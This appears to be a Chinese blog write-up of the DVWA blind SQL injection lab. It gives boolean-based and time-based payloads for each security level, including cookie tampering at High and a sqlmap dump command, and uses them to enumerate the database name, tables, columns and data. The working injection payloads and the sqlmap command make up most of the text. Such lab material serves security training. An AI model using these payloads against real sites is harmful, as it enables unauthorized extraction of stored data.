zoukankan      html  css  js  c++  java
  • SQL Injection (Blind)

    Low级别基于布尔的盲注思路

    1.判断是否存在注入,注入是字符型还是数字型

    2.猜解当前数据库名

    3.猜解数据库中的表名

    4.猜解表中的字段名

    5.猜解数据

    判断是否有sql注入

    输入1、1’ and 1=1 #、1’ and 1=2#得到结果User ID exists in the database.可以判断存在sql注入

    猜解当前数据库名

    想要猜解数据库名,首先用二分法猜解数据库名的长度,然后挨个猜解字符。

    1' and length(database())>5 #    -- 显示不存在;说明库名长度<=5
    1' and length(database())>3 #    -- 显示存在;说明长度>3 and <=5
    1' and length(database())=4 #    -- 显示存在:

    采用二分法猜解数据库名

    1' and ascii(substr(databse(),1,1))>97#  -- 显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
    1' and ascii(substr(databse(),1,1))<122#  -- 显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
    1' and ascii(substr(databse(),1,1))<109#  -- 显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
    1' and ascii(substr(databse(),1,1))<103#  -- 显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
    1' and ascii(substr(databse(),1,1))<100#  -- 显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
    1' and ascii(substr(databse(),1,1))>100#  -- 显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

    重复上述步骤,直到猜解出完整的数据库名

    猜解数据库中的表名

    首先用二分法猜解数据库中表的数量,下图所示,表的个数为2

    1' and (select count (table_name) from information_schema.tables where table_schema=database())>5#  -- # 显示不存在,说明表个数在1-5之间
    1' and (select count (table_name) from information_schema.tables where table_schema=database())>3#  -- 显示不存在,说明表个数在1-3之间
    1' and (select count (table_name) from information_schema.tables where table_schema=database())=1#  -- 显示不存在,排除1
    1' and (select count (table_name) from information_schema.tables where table_schema=database())=2#  -- 显示存在

    接着要猜解表名,首先判断表名的长度,下图所示第一个表名长度为9

    1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #   -- 显示存在,说明表名长度>5
    1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #  -- 显示不存在,表名长度5-10
    1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #   -- 显示存在,挨个尝试5-10,最终9显示存在

    接着采用二分法猜测表名

    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #   -- 显示存在>97
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #   -- 显示存在97-122
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #   -- 显示存在97-109
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #   -- 显示不存在103-109
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #   -- 显示存在

    重复上述步骤,即可猜解出两个表名

    猜解表中的字段名

    首先猜解表中字段的数量,下图所示user表中有8个字段

    1' and (select count(column_name) from information_schema.columns where table_name= 'users')>5 #  -- 显示存在  字段长度>5
    1' and (select count(column_name) from information_schema.columns where table_name= 'users')>10 #  -- 显示不存在  字段长度5-10
    1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #  -- 显示存在,挨个尝试5-10

    接着猜解字段名,先确定字段名长度

    1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>5 # 显示存在  字段名长度>5
    1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>10 # 显示不存在  字段名长度5-10
    1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在 

    采用二分法猜测字段名,limit 0,1确定的是表的第几个字段,substr(sql,1)确定的是字段的第几个字母开始截取,ascii读出左侧的第一个字母的ascii值

    1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97 #  -- 判断第一个字段第一个字母是否大于97
    1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,2),1))>97 #  -- 判断第二个字段第一个字母是否大于97
    1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,2),2))>97 #  -- 判断第二个字段第二个字母是否大于97

    猜解数据

    同样采用二分法

    Low级别基于时间的盲注

    判断是否存在注入,注入是字符型还是数字型

    1and sleep(5) #  -- 感觉到明显延迟
    1 and sleep(5) #   -- 没有延迟;

    说明存在字符型的盲注。

    猜解当前数据库名

    1' and if(length(database())=1,sleep(5),1) # 没有延迟
    1' and if(length(database())=2,sleep(5),1) # 没有延迟
    1' and if(length(database())=3,sleep(5),1) # 没有延迟
    1' and if(length(database())=4,sleep(5),1) # 明显延迟

    说明数据库名长度为4个字符。接着采用二分法猜解数据库名

    1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#  -- 明显延迟
    1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)#  -- 没有延迟
    1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)#  -- 没有延迟

    猜解数据库中的表名

    首先猜解数据库中表的数量

    1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#   没有延迟
    1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#   明显延迟

    猜表名

    1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #   -- 没有延迟
    1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #   -- 明显延迟

    说明第一个表名的长度为9个字符。采用二分法即可猜解出表名。

    猜解表中的字段名

    首先猜解表中字段的数量

    1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1)#   --  没有延迟
    1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1)#   --  明显延迟

    接着挨个猜解字段名

    1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) #   -- 没有延迟 
    1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #   -- 明显延迟

    猜解数据

    同样采用二分法

    Medium级别

    基于布尔的盲注

    抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
    抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #  显示存在,说明数据中的第一个表名长度为9个字符;
    抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 # (0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

    基于时间的盲注

    抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
    抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
    抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

    High级别

    High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果

    抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
    
    抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
    
    抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

    工具的使用

    常用

    sqlmap -u "url" --cookie "cookie值" --dump

    sqlmap

    参考

    https://www.freebuf.com/articles/web/120985.html

  • 相关阅读:
    CF1394A Boboniu Chats with Du 题解
    P3377 【模板】左偏树(可并堆)题解
    P2152 [SDOI2009]SuperGCD 题解
    在其他模块中调用代码
    教程:创建Go模块
    Go入门
    反悔贪心
    codeforces 1569 E. Playoff Restoration (meet-in-the-middle)
    codeforces 1036 F. Relatively Prime Powers (容斥+精度处理+大数边界处理)
    icpc沈阳2020 H. The Boomsday Project (dp+二分)
  • 原文地址:https://www.cnblogs.com/aeolian/p/11063164.html
Copyright © 2011-2022 走看看